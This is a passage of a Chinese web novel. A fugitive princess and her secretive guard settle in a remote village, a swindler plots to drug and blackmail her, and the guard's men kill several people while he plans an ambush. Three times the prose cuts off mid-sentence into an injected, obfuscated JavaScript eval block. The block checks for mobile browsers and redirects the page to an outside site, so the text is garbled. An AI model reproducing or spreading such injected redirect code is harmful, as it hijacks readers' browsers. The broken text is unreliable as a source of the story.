不知过了多久,徐渺来到闻梨身侧,“我们也该收拾行李动身了。” 闻梨回过神来:“大概多久能到桃源村?” “一个月左右。” 闻梨忽然抬头看他,眸光炽热,“也许我们可以趁着欢颜没走远,追上她,一起去看看武林大会!江湖肯定很精彩。” 徐渺挪开视线,试图忽略她那双略含期许的眼眸,他的声音依旧平静:“暗夜阁的人,昨天就追到了白溪镇。” 闻梨眼中的光霎时散了,跟这天气一样雾蒙蒙的,她深吸一口气,没再说什么,转身准备回客栈。 忽而,她听见城门外有急促的马蹄声传来,回头望去,一队面色不善的骑兵气势汹汹而来。 闻梨下意识以为对方是来抓自己的,慌乱中想往什么地方躲藏,却被徐渺握住手腕。 “别紧张,只是驿使而已。” 果然下一秒,为首的骑兵大喊:“圣上驾崩,请此地州府大人速速出来听诏!” 圣上驾崩四字在闻梨脑海中轰然炸开,原以为自己能与过往的人和事彻底划清界限,此刻听到父皇的死讯,闻梨心中还是有点难过,遥远记忆里那个会逗她笑,给过她些许温情的父皇,死了。 “阿渺,我好冷。” * 翌日午间,一辆晃悠悠的牛车抵达了二仙镇,小婉手里捧着热乎乎的包子,一边吃着,一边问兄长:“哥哥,你还没告诉我,你到底是喜欢阿梨姐姐,还是厉姐姐?” 段别尘一脸漫不经心赶着牛车:“谁说我喜欢她们?” 小婉哼哼了两声,无情拆穿道:“我还不了解哥哥你?那天我说扫完墓去找阿梨姐姐,你居然没有反对耶!要知道哥哥你一向无利不起早,要是不图钱,肯定就图人喽!” 段别尘挑眉:“在你眼中,哥哥就是这种人?” 小婉十分狗腿地靠过去,“在小婉心中,哥哥是最帅最厉害最好的人!” 段别尘十分受用,单手从包袱里又拿出个包子:“说得不错,奖励你再吃一个。” “好耶!”小婉开心得几乎要打滚了。 眨眼间,没等肉包入口,便被人夺走了,一同被掳走的还有小婉。 段别尘猛地跳下牛车,抽出茅草下的匕首,惊慌地看着不远处的高个黑衣面具男子,握刀的手在微微颤抖:“阁下为何绑走我妹妹?我、我认识月华山庄的大小姐,有什么话好好说,不然……” 高个面具男子扑哧一笑:“我跟踪了你们好几日,自然认得你们跟月华山庄交情匪浅。废话不多说,我要与你们同行的另一位姑娘的下落。” 段别尘:“我们仅仅同行了几天,并不知那位姑娘的身份和去向,阁下有此工夫追踪我,不如回白溪镇再找找?” 面具男子掐住小婉的喉咙:“我要是追得上他们,还来找你做什么,我方才听到你跟这小孩的谈话,你肯定知道她的去向。” 小婉面露痛苦神色:“哥哥,别告诉他,他是坏人!” “且慢且慢!”段别尘彻底慌了,“别伤害我妹妹,我可以告诉你。” 片刻工夫后,面具男子放下小婉,大摇大摆啃着肉包走了。 段别尘飞奔过来,检查妹妹脖颈的伤势,却被妹妹一把推开。 小婉哭着道:“哥哥,阿梨姐姐对我那么好,我们不应该出卖她,我们变成坏人了,哥哥你说过的,人在世上,为了讨生活做点坏事不要紧,可是不能背信弃义,出卖朋友。” 段别尘抱起妹妹:“你真傻啊,阿梨姑娘和徐护卫不是还没到桃源村吗?我们先去给厉姑娘送信,让她回月华山庄搬救兵,何况徐护卫武功那么高,不一定会败给刚才那人。” 直到段别尘托人把信寄给洛城的厉欢颜,小婉终于不闹脾气了,望着兄长忙前忙后的背影,心里多了几分愧疚之感,倘若换做哥哥被挟持,也许她会做出同样的选择。 “哥哥,对不起,我应该多体谅你的。”小婉鼓足勇气道歉。 段别尘会心一笑:“我们小婉真是长大了,今晚带你去吃大肘子怎么样?” 二人相携走过街角,拐进破旧的小巷,随着一道冷光闪过,两人的笑声戛然而止,有温热的东西四处溅射,流淌,最后干涸,昏黄的灯光自二楼窗间照出,在墙面投下一大一小的紧紧依偎着的两道身影,一动不动,了无声息。 紧接着,高鹤与冯胜从暗巷里走出,高鹤擦去剑刃上的血迹,面无表情道:“你留下处理痕迹,我去给少主送信。” 第二天夜里,坐在火堆边烤火的徐渺收到了高鹤的回信,他神色如常将纸团扔进火里,烧了,侧头看一眼枕在他胳膊上、睡得正熟的闻梨,他伸出手,替她掩了掩身上披着的大氅。 * 经过一个月的风雨兼程,二人赶在大雪封山前抵达了桃源村。 眼前的桃源村,与闻梨想象得不太一样,俨然是一座繁华热闹的小城镇,街道整齐,商铺繁多,有山、有河,还有个不大不小的港口,听当地人说,港口对面原本是北齐的国境,前两年被晋军攻了下来。 但桃源村确实与别的城镇不同,没有士兵巡守,没有等级森严的街区划分,甚至连城墙都没有,房屋与田地交错,这里的人大多闲云野鹤,悠哉游哉过自己的日子。 从见到桃源村的第一眼,闻梨就喜欢上了这里,她能有间属于自己的小院子,在院墙边种点花花草草,她想学酿酒,还想从医,治病救人,认识各种各样的草药,想学着做出美味的饭菜,她可以把自己养得好好的。 闻梨悄悄瞥了眼身旁的徐渺,心想到,如果他愿意留下,那就更好了。 不料对方像是察觉到她的目光,侧头询问:“怎么了?不喜欢这里?” “喜欢,当然喜欢。”闻梨欲言又止,“你……打算什么时候离开?” 徐渺淡淡哦了一声:“不需要我了,想赶我走?” 闻梨紧张解释道:“怎么会赶你走呢?是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421347|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说等到了桃源村,就要跟我分开的。”她的语气里带着点怨念。 徐渺弯唇笑道:“不捉弄你了,我还不走,留你一人我不放心,至少等你安定下来再说。” 听他这么说,闻梨顿觉心情好了不少,“那明天就陪我去买宅子吧!” 她在心中打定主意,接下来的这段日子,会尽力一试,让徐渺改变离开的想法。 隔天,两人去了牙行,闻梨挑中一间环山靠水的小院,价格虽有些贵,但胜在清幽干净,视野开阔,两边的邻居离得又远,后院还送了两亩良田,闻梨咬咬牙,付了房钱。 人牙子得了钱,殷勤贺道:“恭喜公子夫人得此良宅,二位如此年轻,想必刚成婚不久吧?倘若日后生了娃娃,宅子不够住,可继续找小的买!” “我们不是夫妻。” 闻梨先瞧了一眼神色从容的徐渺,然后在人牙子震惊迟疑的目光中,继续道:“我是个寡妇,他只是我的护卫,还请你出去莫要乱传。” 人牙子这才反应过来,尴尬笑道:“原来如此,我见二位郎才女貌,如此登对,还以为……是我会错意了。” 待把人牙子送出门,闻梨终于有空在新宅子里四处转悠。 徐渺跟在她身后,好奇问道:“你刚刚为何要给自己编个寡妇的身份?” “这不好吗?”闻梨顿住脚步,“未婚男女不清不楚住在一起,未免太惹人注意了些,倘若以夫妻相称,等你走了,我很难对旁人解释缘由,寡妇的身份正好,何况日后,我还想招个结实、能干活、心善的上门夫婿。” 徐渺微微有些错愕:“你想招上门夫婿?” 闻梨回眸一笑:“是有这个打算,不过我刚来此地,人生地不熟,不太好找,到那时还请阿渺替我把把关。”说罢,便继续逛宅子去了。 徐渺愣在原地,陷入沉思。 刚搬进新宅的第三天,冬雪纷纷而至,听商队的人说,今年的初雪格外大,桃源村又靠近北边,好些通往这里的路都被山雪封住,江河也被冰冻,桃源村将与世隔绝三个月。 由于天气较冷,修缮房屋的事宜被闻梨推至年后,只简单打扫了一遍,添置了些生活用品和冬衣,便算正式安定下来。 起初的日子,闻梨几乎不怎么出门,整日无所事事,唯一的乐趣就是在檐下喝茶赏雪吃锅子,有时候起得早,还能一睹少年练剑的俊逸身姿。 偶尔心血来潮,她会请教徐渺如何做饭,本来她的注意力是在食材上的,不知为何,最终都会落到少年的手上,侧脸上,还有他温柔的语调上,导致她学了半月,从锅里盛出来的菜,不是烧焦的,就是盐放多的,实在难以入口。 想要将少年绑在自己身边的私心愈演愈烈。 这样的日子清闲自在,一晃过了三个月,年关将至,家家户户忙着换门神,钉桃符,整座小镇街头巷尾,洋溢在喜庆的氛围中。 除夕那夜,徐渺多做了几个菜,还温了酒,二人对坐桌前,欢欢喜喜度过了在桃源村的第一个新年。 放烟花守岁时,闻梨神秘地从袖口掏出早已备下的新年礼物,塞给徐渺就跑,“这个送给你。” 闻梨一口气跑到柱子后,探出脑袋偷看,发现徐渺盯着手中玉佩望了许久,心想他应该是喜欢这个礼物的,紧接着她还看到,少年视若珍宝地将她送的礼物揣进怀里,妥帖放好。 昏昏庭灯下,她瞧见少年微微扬起的唇角。 绚烂的烟花在夜空一朵朵绽放,她抬头许愿,望年年有今日,岁岁有今朝。 35. 第三十五章 开过年来,冰雪消融,天气逐渐转暖,舒心顺遂的日子过久了,闻梨险些忘记徐渺要走这回事,她忙不迭从躺椅里爬起来,进屋换了外出的衣裳。 “你要出门?”徐渺端着盆泡了水的豆子从院中走来。 闻梨低头整理着衣裳,“嗯,有点事要去办,阿渺陪我一起去吧?” 徐渺也没多问,放下手中的活计,陪闻梨一道出了门。 自从道路通顺后,来桃源村的客商和江湖人明显增多,小镇上重新变得拥挤热闹,闻梨慢悠悠走在街头,听到不少关于武林大会的趣事。 “铜雀阁的二公子跟明海方丈决斗了三天三夜,雪也下了整整三天,你们猜最后谁赢了?” “那还用说,肯定是明海方丈,听说那铜雀阁的二公子是个半身不遂的病秧子。” “然也然也,二公子的病早让药师谷的陶医圣治好啦!” “冒昧问一句。”闻梨忽然出声打断道:“听说月华山庄的大小姐也去了武林大会,不知她在比试中表现如何?” 那路人挠挠头,仔细回忆:“月华山庄大小姐?没听说她去武林大会?姑娘是不是记错人了?去年的武林大会上,倒是有个极出色的姑娘,但她是赤焰教的人。” 闻梨心里有些困惑,按理来说,以厉欢颜的身手,不该在武林大会上籍籍无名,但她也拿不准,毕竟自己对武功的好坏一无所知。 “阿渺,你觉得欢颜的武功怎么样?她好歹是月华山庄大小姐,怎么会没人知道她呢?”闻梨回头问徐渺。 徐渺思索片刻:“这不太好说,江湖并不缺天资聪颖的佼佼者。” 闻梨边走边走道:“果然是人外有人,山外有山,既然武林大会已经结束,欢颜也快来桃源村了吧?还有小婉和段道长,得趁这段时间天晴,收拾几个干净的房间出来,还有院中……” 徐渺没再接话,明澈如溪的眼眸却划过一抹不易察觉的暗色。 不多时,二人来到镇上唯一的王媒婆家中,闻梨说明自己的来意后,王媒婆满心欢喜一口应下,拍着胸脯保证定为闻梨寻个满意的上门夫婿。 “不知娘子对这夫婿有什么要求?”王媒婆殷勤笑问。 闻梨想了想,指着身旁的徐渺,云淡风轻问了一句:“有没有跟他差不多的?” 徐渺愣了一瞬,瞳孔紧缩,满脸震惊望向闻梨,却见对方满怀歉意地冲他笑了笑,似乎只是拿他举个范本,希望他别多想。 王媒婆一副吃瓜神情,顿时明白二人的关系,心道原来这小娘子对自家护卫有意思,奈何这少年人是个木头桩子,恐怕不懂小娘子的心。 不过感情的事向来是一波三折,倘若二人成了,自然能收一波好处,倘若不成,凭借小娘子的美貌与财富,何愁找不到满意的夫婿? 王媒婆打起十二分精神,斟酌道:“这位公子仪表非凡,一万个人里也难挑出一个,娘子年轻,殊不知这相看夫婿,样貌是其次,贵在人品和心地好,娘子有没有更确切点的要求?” 闻梨深以为然:“那最好找个结实的,能干活的,温柔善良的,愿意入赘的,体贴点的,还得做饭好吃,要是会武功那就更好了。” 闻梨这时才看向徐渺,“阿渺还有什么要补充的吗?” 徐渺瞧得出来,闻梨是认真的,她切切实实想在桃源村安定下来,虽然她找夫婿这事,不会影响到他这边的计划,可不知为何,他此刻竟说不出一句要补充的话。 “没有。” 自从拜托王媒婆后,隔三岔五,王媒婆便领着一堆人上门给闻梨相看,胖的高的矮的瘦,商户、屠夫、打铁匠、员外郎、秀才、书生、镖师、打手、大夫,各行各业应有尽有。 闻梨前前后后接触了几个,发现都不太行,样貌好的是花拳绣腿,太懦弱,没什么用,身体结实的壮汉,又不懂得怜香惜玉,不爱干净甚至还会当着她的面扣脚。 闻梨十分头疼地将目光从这些人身上移开,回头瞥见身旁俊逸绝尘的少年,心情稍微好了那么一点。 “没别人了吗?” 王媒婆:“哎呦,娘子你这情况确实不太好找,条件好的小郎君,一听入赘便把我拒之门外。” 这段日子,闻梨也没闲着,找人修缮房屋,在院中栽下不少芭蕉树,已经想好等到雨天来临,坐在芭蕉叶旁听雨声。 无事可做时,她便开始杵着下巴发愁:“阿渺,你说我这辈子是不是嫁不出去了?怎么连一个能入眼的都没有?” 徐渺正在给新栽的小苗换土,听到她的话,便放下手中的铲子,给出自己的建议:“其实不用那么着急,慢慢找,未必遇不到称心如意的。” 闻梨长叹一声,心中烦闷无处可说,她哪里是着急自己嫁不出去,分明是担心他随时有可能离开,而她却来不及试探他的心意。 “阿渺日后想找个什么样的娘子?” 徐渺脊背僵住,神色有些不太自然,埋头继续挖着泥土:“我没想过这些。” “现在想一想?” “我也不知道。” 见他闭口不言,闻梨干脆摒弃拐弯抹角的问法,有意无意提了一句:“我觉得阿渺当我夫君就挺好的,如果你不走的话。” 咣的一声,徐渺手中的铲子忽然落地,他不可思议地抬起头,眼底茫然无措,唇角微启,却不知该说什么。 闻梨假装没看见他吃惊的反应,只说自己有点困,便起身回房。 饶是再迟钝的人,也该明白她的心意了吧? 岂料接下来的几日,闻梨发现徐渺有意无意总躲着她,彷佛在躲什么洪水猛兽,躲着她练功,躲着她吃饭,出门逛街时,也不再寸步不离地守在她身边,只是暗中跟着,尽一个护卫应尽的职责。 两人的关系,在一夜间,似乎又回到刚从寿阳村出来那时的疏远、别扭,其实闻梨心里清楚,既不能装作什么都没发生,逃避就是徐渺给出的答案。 闻梨对此深感挫败。 又过了几日,这天,闻梨饶有兴致地在厨房研究如何制作酒酿丸子,王媒婆带着个年轻男人登门了。 见到年轻男人的第一眼,闻梨还算满意,男人大概二十岁出头,气质清雅,眉目疏淡,腰背挺得笔直,若非穿着身粗布麻衣,倒像是个富贵乡里出来的世家公子。 男子见到闻梨的刹那间,惊讶了一瞬,很快面色含笑,彬彬有礼道:“在下许清见过夫人。” 见闻梨这次没把人赶走,王媒婆心道这是有戏了,赶紧介绍起双方的情况。 “这位许公子原本是在大户人家当画师的,前年那大户人家落败了,许公子便来到桃源村定居,在街头摆摊卖字画谋生。” 原本在房顶上悠闲晒太阳的徐渺蓦地睁眼,一声不吭从房顶下来,挪步来闻梨身侧,双手环胸,打量着庭院中的陌生男子。 许清瞧见闻梨身旁忽然冒出个少年,少年怀里抱着剑,凌厉的目光扫过来时,好像带着点杀气,吓他一跳:“这位是?” 闻梨瞥一眼徐渺,温和笑道:“徐护卫,给客人倒杯茶。” 徐渺身子一僵,已经许久没听到闻梨如此称呼自己,转身去厨房泡茶。 王媒婆见状,找了个借口离开,给二人留下独处的机会。 当徐渺端着茶水出来,却见闻梨与许清坐在房檐下,聊得正欢,更让他觉得不舒服的是,明明茶案前有四把交椅,而许清偏偏占了他平常坐的位置。 “原来姑娘也爱吃酒酿丸子?巧了,在下最拿手的便是酒酿丸子。” 许清一边说着,一边装作不经意间接走徐渺手中的茶盘,颇有君子风度的先给闻梨倒茶,随即给自己也倒了一杯,至于徐渺,他看都没看一眼。 徐渺什么都没说,默默站去闻梨身侧。 见这护卫如此不识趣,许清提议道:“今日来得仓促,没准备什么见面礼,倘若夫人不嫌弃,可否借厨房一用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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树上的徐渺瞧见这一幕,不由得别开脸,沉冷的目光无处可放,郁闷片刻后,他折下一小截柳枝,轻松掷出,割断了风筝的引线。 风筝果然差点砸到一个壮汉的脑袋,亏得那人身手不错,堪堪躲开,怒气冲冲找到风筝的主人。 许清本就是个文弱书生,哪里是这壮汉的对手,又不能把人家小娘子推出来顶罪,只好硬着头皮迎上,想要化干戈为玉帛,岂料话都没说出口,便挨了壮汉一拳。 闻梨在一旁看着,欲等壮汉出完气,再假意去安抚下许清,手腕忽而被人攥住,重重的力道将她拉出人群。 她愕然对上徐渺严峻的目光。 “是你干的?” 徐渺松手,正色道:“他手脚不老实,这次只是给点教训。” 闻梨揉揉手腕:“那你不也对我动手动脚,我该怎么罚你呢?” 徐渺一愣,没想到闻梨会问出这样的话,这怎能拿来比较?她跟许清才认识多久?而他跟她那可是……是什么关系呢? 徐渺也恍惚住了,明面上,他不过是她的护卫,私底下,他知道自己的行径有多么见不得光,又哪来的底气对着闻梨指手画脚和不爽呢? “对不起,是我逾矩了,我保证,以后再也不会这么做。” 闻梨一阵默然,转身欲走,被脚边的草藤绊了下,朝前踉跄了几步,本来她是可以凭借自己站稳的,却见身旁有双手比她更快。 闻梨借助徐渺伸来的手臂起身,觑他一眼,“做不到的事情,以后就不要随便保证了,我会当真的。” 徐渺反应过来,脸上有些懊悔,暗恨自己怎么手比脑子还快? 闻梨难得见徐渺露出茫然无措的神色,心情大好,果然还是纯情少年撩起来更有意思。 36. 第三十六章 夜色沉寂,村东头老杨树旁的小院中,不时传来断断续续的呻/吟声,许清从女人柔软的胸脯里抽身而起,懒懒歇在床边,脸上洋溢着几分事后的疲倦。 女人白皙的胳膊再次攀上许清的脖颈,欲求不满:“郎君今晚未免太敷衍了些,可是腻了奴家,对那小寡妇动了心思?” 许清捉住女人任意施为的手指,“别胡思乱想,她对我存有戒心,还需要些时日才能打消她的疑虑,等我得到她的家产,你想怎么花就怎么花。 女人娇嗔道:“郎君好坏哦,日后寻了高枝,会不会也这般欺骗奴家?” 许清心中已有些不耐烦,奈何现在还得靠这女人养着自己,便搂着女人的肩,好言好语哄着:“我怎舍得骗你?那药买来了吗?她身边那个护卫不好惹,得下点猛药才行。” “早买来了,郎君要是想要,得再求求奴家。” 两人又温存了一番,丝毫没听到屋顶撤走的脚步声。 翌日一早,闻梨推开窗透气,眼睛像往常那般瞄一眼院中,未见少年练功的身影,奇怪,他还在睡觉吗? 当她伸直脑袋朝左侧张望,右边忽然响起少年清润的嗓音:“你在看什么?” 闻梨连忙回头,望向自廊下走来的少年,诧异问道:“你怎么没去练功?” “我在等你。”徐渺停在窗前,神色凝重:“那个画师,你再考虑一下,昨夜我从他家里翻出不少女子的不雅画册,据邻居说,时常看到不同的女人半夜进出他家,这样的人根本不是良配。” 闻梨满眼震惊,也就是说,面前这位看起来行事磊落的少年,居然半夜潜进别人家里翻东西去了。 闻梨伸出手:“那些画像在哪里?” 徐渺着急,语气有些重:“你不信我?那种污秽不堪的东西,我怎会带回来辱你的眼?”他多看一眼都嫌脏。 “我当然信你,许公子是个画师,为了谋生,不得不卖点不堪入目的画册,至于女人,没准是他的亲戚,或者是找他买画的顾客?好了阿渺,我知道你不喜欢他,但你总归是要走的嘛,许公子还能陪我解解闷。” 闻梨象征性安抚了几句,便推开门,端着盆打水洗脸去了。 徐渺张了张嘴,最终什么也没说。 夜深人静时分,一道黑影翻进小院,溜进了徐渺的屋子。 “回禀少主,玉京城的暗线布置得差不多了,谢陵的动向皆在我们掌握之中,新来的一批暗卫也已集结完毕,我们什么时候动手?” 屋内没有点灯,唯有窗外的一捧月光照进来,清冷入骨,榻上坐着的少年沉思良久后,缓缓开口:“我还有点事要处理,两日后,让杜承照我的吩咐行事。” 高鹤喏了一声,随即翻墙而去。 * 一阵惊雷过后,窗外淅淅沥沥下起雨,这夜,闻梨久违地梦到了谢陵那个大魔头,梦里的她好像在跟什么人成亲,喜堂之上,谢陵先是一剑刺穿了新郎的胸口,紧接着冷漠地扔给她一把匕首,要她以死谢罪。 闻梨蓦然惊醒,眼前是自己亲手布置的温馨小屋,心中的恐惧稍稍消散了些,后半夜,她几乎没怎么睡着,翻来覆去地想,如今日子虽然过得太平,保不齐哪天谢陵突发恶疾找她麻烦。 天刚亮,闻梨便起床了,平常的早饭都是阿渺在准备,今天她起得早,摸进厨房找吃的,发现桌上有半锅昨日阿渺磨好的豆浆,于是抱来木柴,顺利燃着火灶。 现在的她已经不是从前那个养尊处优的公主,劈柴烧火,打水做饭,可以把自己照顾得很好,就算丢去野外,也不担心会饿死。 煮好豆浆,闻梨心满意足喝了一碗,桌上的另一碗是给阿渺准备的,不知他瞧见这一幕会不会夸她,从前每当她学会什么新东西,他总是会笑着夸她做得好。 这一天,闻梨等了许久,碗里热腾腾腾的豆浆凉了两回,院中,他的房间,甚至整间宅子她都找过了,皆不见徐渺的身影。 他不会是离开了吧? 手中的碗骤然落地,即便心中早有准备,可当徐渺真的离开时,闻梨久久未能回神,心里空落落,说不上有多悲痛,有点闷,也有点沉,好似今天的雨,绵绵密密浸润着小院中他留下的各种痕迹。 屋顶的瓦是他一片片放上去的,院中的芭蕉树是和他一起栽的,雨滴落在瓦上,落在芭蕉叶上,叮叮咚咚,正是听雨的好时候,可陪她听雨的人却已离开。 院门被人敲响,闻梨恍惚了一瞬,她知道阿渺回家从来不会敲门,所以来人不是他。 她慢吞吞走过去开门,门外许清撑着伞,怀里抱着画卷,脸上笑意温雅:“今天下雨了,我想夫人定然不愿出门,屋中烦闷,在下带了画笔,可否为夫人解解闷?” 闻梨咳嗽一声,语气冷淡,还透着几分懒意,“许公子请回吧,我今天身子不舒服。”说罢,她便把门阖上了。 猝不及防吃了闭门羹的许清,终于没了平日那副温润君子的模样,脸上闪过一丝狰狞,抱着画卷往回走,回到了他的老情人那里。 “今天那护卫不在,快把药给我,等我画完她的裸像,一切就是我们说了算。” 女人不情不愿拿出药包:“奴家不想郎君看别的女子的身子。” 许清:“糊涂,不拿裸像威胁她,她怎会乖乖任我们摆布?” 雨下了一整日,闻梨独自坐在檐下,望着天发呆,天色渐渐暗沉,她心里是有点生气的,毕竟相处了那么久,他为何招呼不打一声就走了?就算他对她没有男女之情,好歹得有友情在吧? 她想了一整天也没想明白。 晚饭随便对付几口,闻梨有些累了,正要回屋睡觉,隐约听见墙角传来异响,她拎着灯过去查探,原以为是跑进来什么阿猫阿狗,没等她靠近,竟惊恐地发现有个黑影翻进院中。 闻梨下意识想叫阿渺,却瞬间想起,会保护她的阿渺已经走了。 闻梨掉头就跑,此时此刻,她只能往外边跑,倘若对方是小贼,希望他拿点钱财就赶紧离开。 闻梨回头看一眼身后,脸色骤然变白,黑影是直奔着她来的,还熟练地绕过各种障碍,显然对她小院的布局一清二楚。 这几日频频进出她小院的只有许清一人,闻梨深感绝望,万般后悔,不该不听阿渺的提醒引狼入室。 转眼间,闻梨已经跑到院门边,另一件令她懊悔的事出现,临睡前,她把门闩插得很紧,是为了防止有人闯进来,岂料现在防住了自己。 她拼命地去拔,门闩稍稍松动一点,可身后那人已经追上,一把捂住她的口鼻,将她拖进屋子里,绑住手腕,扔到了榻上。 “夫人跑什么呢?”许清摘下蒙脸的黑布,往日那副翩翩君子作态荡然无存,取而代之的是一种闻梨从未见过的凶恶与贪婪。 闻梨冷静下来:“你想要什么?钱还是我的命?” 许清凑近闻梨,抬起她的下颚,直勾勾盯着她莹洁如玉的脸,“如果说我都要呢?夫人给不给?” 闻梨嫌恶道:“真贪心,就不怕我的护卫揍你?” “他今天不在对吧?等我跟夫人生米煮成熟饭,夫人会知道我的好,就舍不得揍我了。”许清说罢,点燃房中所有的烛灯,在桌上摊开纸笔,再次看向闻梨:“以夫人的姿色,裸画定能卖个好价钱。” “无耻。”闻梨别过脸骂了一句,手悄悄伸进枕头底下,摸到了一根簪子。 许清走来床边,想脱闻梨的衣裳,被闻梨躲开,许清见她不从,便从怀里掏出迷药,威胁道:“既然夫人不配合,那就别怪我动粗了。” “你绑着我,要我怎么配合你?”闻梨冷冷看着他。 许清眼前一亮:“这么说夫人是肯了?” “肯不肯有什么用?我一介弱女子,哪里逃得出你的手心,还不如少受点罪,帮我解开好吗?你要是用强的,等我护卫回来,肯定要揍你。” 许清半信半疑:“当真?其实我也挺喜欢夫人的,你若愿意跟我好一场,我发誓,往后不再找别人。” 在许清解开绳子的刹那间,闻梨摸出袖中的金簪,狠狠戳向许清的眼睛,许清毕竟是个文人,面对偷袭反应慢半拍,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“少主,人已经弄死了,死得很痛苦,尸首也扔到了乱葬岗喂狗,那些官府的案宗该怎么处理?” 实际上前几天,徐渺就已派人去许清的老家调查其过往,许清在原籍犯下多起命案,受害者皆为寡妇,因为官府的人无法踏足桃源村,才教许清躲过追捕。 手下人还从官府里偷出许清的案宗,但在回来的途中被官府盯上,徐渺不得不离开一天一夜,去接应手下,没想到闻梨这边会出事。 他无法想象,倘若自己来晚了,会发生什么无法挽回的事情。 “已经结束了,都烧掉吧,别让她知道。” 这一夜,闻梨睡得很沉,翌日醒来,外边的雨已经停住,日光照进窗户,屋子里暖融融的,隐约弥漫着令人神安的清香,一切平静如常,彷佛昨夜只是做了个噩梦。 院中不时传来少年练剑的声响,闻梨赶忙掀被下床,推开窗,果然看到少年行云流水的身姿,似乎是感应到她的目光,少年停住,回眸望来,他脸上温澈如玉的笑容,令闻梨感到一阵心安。 两人静静对望,什么话都没说,也不必说。 早饭照常是徐渺准备的,是一碗简单的清水挂面,面上撒了葱花点缀,碗底藏着两枚煎得很漂亮的荷包蛋,闻梨胃口大开,头一回连汤都喝完了。 徐渺笑着问她要不要再煮一碗。 闻梨摇头,视线紧紧黏在少年身上,看着他洗碗擦桌,明明是和平常一样的动作,闻梨却从中瞧出几分不对劲,像是暴风雨来临前的平静。 闻梨有种预感,少年藏着很深的心事,这半年多来,她很少主动问起关于他的事,也许就快到爆发的时刻。 晚饭过后,两人都没有起身收拾碗筷,坐在院中,静静望着日头一点点往下沉,直至夜幕升起,徐渺侧过头来,乌黑的眸子亮亮的,却深不见底。 “今晚我就要走了。”他的语调温柔如常,藏着几分难以言明的消沉情绪。 闻梨深深吐了口气,盯着他的脸问:“那你还回来吗?” 37. 第三十七章 徐渺半晌没说话。 闻梨耐心等着他的答案。 良久他才道:“家中有事要我去处理,此行凶险,不知能否活着回来。” 尽管已经吐掉一大口气,闻梨胸口还是很闷,“倘若活着,你会来找我吗?” 徐渺笑道:“一定会的。” “那我等你。”闻梨信誓旦旦地说:“我相信你一定能活着回来,我需要你,阿渺。” 夜风拂过少年额前的碎发,一双漆眸荡漾开温软的笑意,他也信誓旦旦地回她:“好,我就算做鬼都要爬回来找你。” 少年的唇忽而被一只绵软清凉的手遮住。 “呸呸呸,不要说那种不吉利的话,你一定要活着才行。”闻梨一脸认真。 少年眨下眼,耳根微微泛红,心跳得异常快。 院中树影婆娑,今晚的清风朗月恰恰好。 * 离开桃源村的第五日,徐渺快马加鞭,如约抵达雾月城,雾月城在两国交界处,也是当年被谢陵屠城的其中之一,徐渺把埋伏的位置定在此处,一来方便自己人撤离,二来想为枉死的齐国百姓报仇。 “东西可送过去了?” 高鹤回道:“簪子已经派人送到谢陵府上,属下担心,万一谢陵不认识那簪子,不来怎么办?” 徐渺笃定道:“谢陵肯定认识。” 那金簪是闻梨的贴身之物,虽然从未见闻梨戴过,但徐渺知道闻梨极珍视此金簪,每回逃跑,别的可以不要,金簪必定得拿,想必谢陵也一定见过。 三天后,玉京城的探子传来消息,谢陵动身了。 徐渺:“他带了多少人马?” 高鹤:“不多,只有十来个亲卫。” 徐渺:“没那么简单,叫底下人不要放松警惕,再探。” 又过了将近十天,雾月城里的埋伏一切准备就绪,只待谢陵入城,便可将其人头拿下。 一切进展顺利,徐渺反而有种不真实感,心口总是莫名发慌,也许这一战会失败,也许他回不去了。 这天夜里,他写了两封信,一封是给北齐的亲人,而另一封是给闻梨的,给她安排好后路,倘若此行失败,桃源村势必也会被谢陵知晓,留在那里并不安全,到了北齐,他的亲人和下属,会替他好好照顾她。 将信交给心腹后,徐渺还是睡不着觉,他翻上房檐,望着空中那轮明晃晃的孤月,还真是种奇妙的感觉,身处两地的人,虽不能相见,却能仰望同一轮月亮。 今晚的月格外圆,不知道她是否有心情赏月? 其实他们已经一起赏过很多次月亮,徐渺从未觉得心里如此满足,这一路走来,起初他确实对闻梨存了利用的心思,是什么时候改变主意的呢? 也许是那天在林中,她说,早已将他视为最亲的人,被可怜小猫赖上,心哪能不软呢? 月色澄朦,少年捧着玉佩,轻轻落了个吻。 两日后,徐渺担心的事情还是发生了,据探子来报,谢陵一行人的踪迹刚过江北就消失了。 当他再次得知谢陵行踪,已经是半月后,此刻的谢陵身处龙门郡,离桃源村仅有两天的路程,而谢陵却忽然停住,没再往桃源村走半步。 高鹤很是困惑:“这谢狗到底什么意思?莫非是看穿了我们的计划?可他去龙门郡做什么?搬救兵?” 徐渺面色惨然,心底生出一种无力与自嘲:“他何止看穿了我们的计划,从一开始,他就知道我的身份,也知道我们藏身于桃源村,他想逼我主动现身。” 杜承很不甘心:“我们就这么输了吗?” 高鹤瞧了一眼自家主子:“谢狗诡计多端,其实还有别的办法,就看少主是否愿意。” 徐渺脸色煞白,他缓缓闭眼,抿紧唇,心中不愿答应。他再清楚不过,高鹤所言的办法指的是什么。 杜承:“既然还没到绝路,那就请少主下令,我杜承不怕死,有什么危险的事,尽管吩咐。” 